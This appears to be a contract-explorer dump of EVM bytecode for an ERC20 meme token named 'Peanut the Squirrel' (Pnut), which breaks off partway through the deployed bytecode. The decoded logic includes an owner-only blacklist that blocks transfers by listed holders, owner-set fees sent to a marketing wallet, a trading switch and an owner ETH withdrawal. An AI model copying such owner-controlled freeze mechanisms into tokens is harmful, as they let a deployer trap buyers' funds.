ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e3e306111fb565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610e84969594939291906131e4565b60606040518083038185885af1158015610ea2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ec7919061325a565b505050565b6000600554905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146110c257611041826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b59092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110cd848484611819565b90509392505050565b6110df33611128565b61111e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111590613018565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b60055481565b60065481565b61119f33611128565b6111de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d590613018565b60405180910390fd5b8060148190555050565b601060149054906101000a900460ff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61124d33611128565b61128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390613018565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516112fd9190612ba2565b60405180910390a1565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61136633611128565b6113a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139c90613018565b60405180910390fd5b601060169054906101000a900460ff16156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec906132f9565b60405180910390fd5b6001601060166101000a81548160ff0219169083151502179055506001601060156101000a81548160ff0219169083151502179055506001601060146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61147a33611128565b6114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b090613018565b60405180910390fd5b60005b815181101561154a576000600d60008484815181106114de576114dd613098565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611542906130f6565b9150506114bc565b5050565b60606004805461155d90613067565b80601f016020809104026020016040519081016040528092919081815260200182805461158990613067565b80156115d65780601f106115ab576101008083540402835291602001916115d6565b820191906000526020600020905b8154815290600101906020018083116115b957829003601f168201915b5050505050905090565b60075481565b601060159054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061162c338484611819565b905092915050565b61163d33611128565b61167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390613018565b60405180910390fd5b600047116116bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b690613365565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611705573d6000803e3d6000fd5b50565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008383111582906117fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f49190612b3f565b60405180910390fd5b506000838561180c9190613385565b9050809150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611889576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118809061342b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef906134bd565b60405180910390fd5b6000821161193b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119329061354f565b60405180910390fd5b600080600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119e25750600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119eb57600080fd5b601860009054906101000a900460ff1615611a1457611a0b868686611c7c565b92505050611c75565b600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ab85750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b0d57601060169054906101000a900460ff16611b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b03906135bb565b60405180910390fd5b5b601060149054906101000a900460ff16611b3557611b2c868686611c7c565b92505050611c75565b611b3f8686611e4f565b15611c3157600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be8575060065484600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be591906135db565b11155b611c27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1e90613681565b60405180910390fd5b611c3086611fb1565b5b611c3b8686612022565b8092508193505050611c51828286600754612104565b15611c6057611c5f84612183565b5b611c6d8686868486612466565b506001925050505b9392505050565b6000611d07826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b59092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9c82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265390919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e3c9190612e13565b60405180910390a3600190509392505050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611efd5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f535750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fa95750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361201f5760176000815480929190612019906130f6565b91905055505b50565b600080600080612031866126b1565b9050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361209157600291506120f5565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036120ef57600191506120f4565b600091505b5b80829350935050509250929050565b6000808290506000849050600061211a306111fb565b90506000838211801561212c57508383115b9050601860009054906101000a900460ff161580156121485750885b80156121545750600188115b801561215d5750805b80156121755750601060149054906101000a900460ff165b945050505050949350505050565b6001601860006101000a81548160ff02191690831515021790555060006121a9306111fb565b905060006121c2836121bd84600854612708565b612708565b90506000600267ffffffffffffffff8111156121e1576121e0612c78565b5b60405190808252806020026020018201604052801561220f5781602001602082028036833780820191505090505b509050308160008151811061222757612226613098565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156122ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122f29190613153565b8160018151811061230657612305613098565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123a495949392919061375f565b600060405180830381600087803b1580156123be57600080fd5b505af11580156123d2573d6000803e3d6000fd5b505050506000479050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50505050506000601860006101000a81548160ff02191690831515021790555050565b6000806000612476858588612721565b8092508193505050612507826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b59092919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061259c81600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265390919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8860405161263c9190612e13565b60405180910390a360019250505095945050505050565b600080828461266291906135db565b9050838110156126a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269e90613805565b60405180910390fd5b8091505092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b60008183116127175782612719565b815b905092915050565b60008060008461275657601060159054906101000a900460ff166127455783612751565b61275086868661279d565b5b612758565b835b90506000601060159054906101000a900460ff1680156127755750855b61277f578461278b565b61278a87878761279d565b5b90508181935093505050935093915050565b60008060006064905084156128055760018611156127d357601654601754116127c8576012546127cc565b6014545b9150612800565b60008611156127fa57601554601754116127ef576011546127f3565b6013545b91506127ff565b600091505b5b61280a565b600191505b600061283182612823858861290890919063ffffffff16565b61298290919063ffffffff16565b905061288581600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265390919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550856128e5576128e0838661298290919063ffffffff16565b6128e7565b805b90506128fc81866129cc90919063ffffffff16565b93505050509392505050565b600080830361291a576000905061297c565b600082846129289190613825565b90508284826129379190613896565b14612977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296e90613939565b60405180910390fd5b809150505b92915050565b60006129c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a16565b905092915050565b6000612a0e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117b5565b905092915050565b60008083118290612a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a549190612b3f565b60405180910390fd5b5060008385612a6c9190613896565b9050809150509392505050565b60008115159050919050565b612a8e81612a79565b82525050565b6000602082019050612aa96000830184612a85565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b8c82612b61565b9050919050565b612b9c81612b81565b82525050565b6000602082019050612bb76000830184612b93565b92915050565b6000604051905090565b600080fd5b600080fd5b612bda81612b81565b8114612be557600080fd5b50565b600081359050612bf781612bd1565b92915050565b6000819050919050565b612c1081612bfd565b8114612c1b57600080fd5b50565b600081359050612c2d81612c07565b92915050565b60008060408385031215612c4a57612c49612bc7565b5b6000612c5885828601612be8565b9250506020612c6985828601612c1e565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612cb082612af5565b810181811067ffffffffffffffff82111715612ccf57612cce612c78565b5b80604052505050565b6000612ce2612bbd565b9050612cee8282612ca7565b919050565b600067ffffffffffffffff821115612d0e57612d0d612c78565b5b602082029050602081019050919050565b600080fd5b6000612d37612d3284612cf3565b612cd8565b90508083825260208201905060208402830185811115612d5a57612d59612d1f565b5b835b81811015612d835780612d6f8882612be8565b845260208401935050602081019050612d5c565b5050509392505050565b600082601f830112612da257612da1612c73565b5b8135612db2848260208601612d24565b91505092915050565b600060208284031215612dd157612dd0612bc7565b5b600082013567ffffffffffffffff811115612def57612dee612bcc565b5b612dfb84828501612d8d565b91505092915050565b612e0d81612bfd565b82525050565b6000602082019050612e286000830184612e04565b92915050565b600080600060608486031215612e4757612e46612bc7565b5b6000612e5586828701612be8565b9350506020612e6686828701612be8565b9250506040612e7786828701612c1e565b9150509250925092565b600060208284031215612e9757612e96612bc7565b5b6000612ea584828501612c1e565b91505092915050565b600060208284031215612ec457612ec3612bc7565b5b6000612ed284828501612be8565b91505092915050565b600060ff82169050919050565b612ef181612edb565b82525050565b6000602082019050612f0c6000830184612ee8565b92915050565b60008060408385031215612f2957612f28612bc7565b5b6000612f3785828601612be8565b9250506020612f4885828601612be8565b9150509250929050565b6000819050919050565b6000612f77612f72612f6d84612b61565b612f52565b612b61565b9050919050565b6000612f8982612f5c565b9050919050565b6000612f9b82612f7e565b9050919050565b612fab81612f90565b82525050565b6000602082019050612fc66000830184612fa2565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000613002600683612aba565b915061300d82612fcc565b602082019050919050565b6000602082019050818103600083015261303181612ff5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061307f57607f821691505b60208210810361309257613091613038565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061310182612bfd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613133576131326130c7565b5b600182019050919050565b60008151905061314d81612bd1565b92915050565b60006020828403121561316957613168612bc7565b5b60006131778482850161313e565b91505092915050565b60006040820190506131956000830185612b93565b6131a26020830184612b93565b9392505050565b6000819050919050565b60006131ce6131c96131c4846131a9565b612f52565b612bfd565b9050919050565b6131de816131b3565b82525050565b600060c0820190506131f96000830189612b93565b6132066020830188612e04565b61321360408301876131d5565b61322060608301866131d5565b61322d6080830185612b93565b61323a60a0830184612e04565b979650505050505050565b60008151905061325481612c07565b92915050565b60008060006060848603121561327357613272612bc7565b5b600061328186828701613245565b935050602061329286828701613245565b92505060406132a386828701613245565b9150509250925092565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006132e3601783612aba565b91506132ee826132ad565b602082019050919050565b60006020820190508181036000830152613312816132d6565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b600061334f601683612aba565b915061335a82613319565b602082019050919050565b6000602082019050818103600083015261337e81613342565b9050919050565b600061339082612bfd565b915061339b83612bfd565b92508282039050818111156133b3576133b26130c7565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613415602583612aba565b9150613420826133b9565b604082019050919050565b6000602082019050818103600083015261344481613408565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134a7602383612aba565b91506134b28261344b565b604082019050919050565b600060208201905081810360008301526134d68161349a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613539602983612aba565b9150613544826134dd565b604082019050919050565b600060208201905081810360008301526135688161352c565b9050919050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b60006135a5601483612aba565b91506135b08261356f565b602082019050919050565b600060208201905081810360008301526135d481613598565b9050919050565b60006135e682612bfd565b91506135f183612bfd565b9250828201905080821115613609576136086130c7565b5b92915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b600061366b602583612aba565b91506136768261360f565b604082019050919050565b6000602082019050818103600083015261369a8161365e565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136d681612b81565b82525050565b60006136e883836136cd565b60208301905092915050565b6000602082019050919050565b600061370c826136a1565b61371681856136ac565b9350613721836136bd565b8060005b8381101561375257815161373988826136dc565b9750613744836136f4565b925050600181019050613725565b5085935050505092915050565b600060a0820190506137746000830188612e04565b61378160208301876131d5565b81810360408301526137938186613701565b90506137a26060830185612b93565b6137af6080830184612e04565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006137ef601b83612aba565b91506137fa826137b9565b602082019050919050565b6000602082019050818103600083015261381e816137e2565b9050919050565b600061383082612bfd565b915061383b83612bfd565b925082820261384981612bfd565b915082820484148315176138605761385f6130c7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138a182612bfd565b91506138ac83612bfd565b9250826138bc576138bb613867565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613923602183612aba565b915061392e826138c7565b604082019050919050565b6000602082019050818103600083015261395281613916565b905091905056fea2646970667358221220a7c70697d75f518e55a5770c34a58cf894bf5b5d27c5ea73ec363473aaa0f1cd64736f6c63430008130033000000000000000000000000ba49d38def04bd98f8281d6f75551802de8fe330000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000135065616e75742074686520537175697272656c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004506e757400000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c80636ce424751161010257806395d89b4111610095578063a9059cbb11610064578063a9059cbb14610687578063bc6fb5d0146106c4578063dd62ed3e146106db578063f887ea4014610718576101e3565b806395d89b41146105db5780639d7d9d2d14610606578063a83d1a1e14610631578063a8aa1b311461065c576101e3565b8063788568c2116100d1578063788568c2146105335780637aacf62a14610570578063893d20e814610587578063923678df146105b2576101e3565b80636ce424751461048b5780636ddd1713146104b457806370a08231146104df578063715018a61461051c576101e3565b8063135107af1161017a5780632f54bf6e116101495780632f54bf6e146103cd578063313ce5671461040a5780633eaaf86b146104355780636c0a24eb14610460576101e3565b8063135107af1461032557806318160ddd1461033c57806323b872dd146103675780632c743eac146103a4576101e3565b806308fd3d05116101b657806308fd3d0514610269578063095ea7b3146102945780630e79620a146102d15780630faee56f146102fa576101e3565b806303f5f340146101e857806306fdde031461021357806307d3ffbd1461023e576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610743565b60405161020a9190612a94565b60405180910390f35b34801561021f57600080fd5b5061022861079d565b6040516102359190612b3f565b60405180910390f35b34801561024a57600080fd5b5061025361082f565b6040516102609190612ba2565b60405180910390f35b34801561027557600080fd5b5061027e610855565b60405161028b9190612a94565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190612c33565b610868565b6040516102c89190612a94565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f39190612dbb565b61095a565b005b34801561030657600080fd5b5061030f610a37565b60405161031c9190612e13565b60405180910390f35b34801561033157600080fd5b5061033a610a3d565b005b34801561034857600080fd5b50610351610ecc565b60405161035e9190612e13565b60405180910390f35b34801561037357600080fd5b5061038e60048036038101906103899190612e2e565b610ed6565b60405161039b9190612a94565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190612e81565b6110d6565b005b3480156103d957600080fd5b506103f460048036038101906103ef9190612eae565b611128565b6040516104019190612a94565b60405180910390f35b34801561041657600080fd5b5061041f611181565b60405161042c9190612ef7565b60405180910390f35b34801561044157600080fd5b5061044a61118a565b6040516104579190612e13565b60405180910390f35b34801561046c57600080fd5b50610475611190565b6040516104829190612e13565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad9190612e81565b611196565b005b3480156104c057600080fd5b506104c96111e8565b6040516104d69190612a94565b60405180910390f35b3480156104eb57600080fd5b5061050660048036038101906105019190612eae565b6111fb565b6040516105139190612e13565b60405180910390f35b34801561052857600080fd5b50610531611244565b005b34801561053f57600080fd5b5061055a60048036038101906105559190612eae565b611307565b6040516105679190612a94565b60405180910390f35b34801561057c57600080fd5b5061058561135d565b005b34801561059357600080fd5b5061059c611448565b6040516105a99190612ba2565b60405180910390f35b3480156105be57600080fd5b506105d960048036038101906105d49190612dbb565b611471565b005b3480156105e757600080fd5b506105f061154e565b6040516105fd9190612b3f565b60405180910390f35b34801561061257600080fd5b5061061b6115e0565b6040516106289190612e13565b60405180910390f35b34801561063d57600080fd5b506106466115e6565b6040516106539190612a94565b60405180910390f35b34801561066857600080fd5b506106716115f9565b60405161067e9190612ba2565b60405180910390f35b34801561069357600080fd5b506106ae60048036038101906106a99190612c33565b61161f565b6040516106bb9190612a94565b60405180910390f35b3480156106d057600080fd5b506106d9611634565b005b3480156106e757600080fd5b5061070260048036038101906106fd9190612f12565b611708565b60405161070f9190612e13565b60405180910390f35b34801561072457600080fd5b5061072d61178f565b60405161073a9190612fb1565b60405180910390f35b600061074e33611128565b61078d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078490613018565b60405180910390fd5b6005546006819055506001905090565b6060600380546107ac90613067565b80601f01602080910402602001604051908101604052809291908181526020018280546107d890613067565b80156108255780601f106107fa57610100808354040283529160200191610825565b820191906000526020600020905b81548152906001019060200180831161080857829003601f168201915b5050505050905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601060169054906101000a900460ff1681565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109489190612e13565b60405180910390a36001905092915050565b61096333611128565b6109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099990613018565b60405180910390fd5b60005b8151811015610a33576001600d60008484815181106109c7576109c6613098565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a2b906130f6565b9150506109a5565b5050565b60085481565b610a4633611128565b610a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7c90613018565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6b9190613153565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c189190613153565b6040518363ffffffff1660e01b8152600401610c35929190613180565b6020604051808303816000875af1158015610c54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c789190613153565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e3e306111fb565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610e84969594939291906131e4565b60606040518083038185885af1158015610ea2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ec7919061325a565b505050565b6000600554905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146110c257611041826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b59092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110cd848484611819565b90509392505050565b6110df33611128565b61111e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111590613018565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b60055481565b60065481565b61119f33611128565b6111de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d590613018565b60405180910390fd5b8060148190555050565b601060149054906101000a900460ff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61124d33611128565b61128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390613018565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516112fd9190612ba2565b60405180910390a1565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61136633611128565b6113a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139c90613018565b60405180910390fd5b601060169054906101000a900460ff16156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec906132f9565b60405180910390fd5b6001601060166101000a81548160ff0219169083151502179055506001601060156101000a81548160ff0219169083151502179055506001601060146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61147a33611128565b6114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b090613018565b60405180910390fd5b60005b815181101561154a57600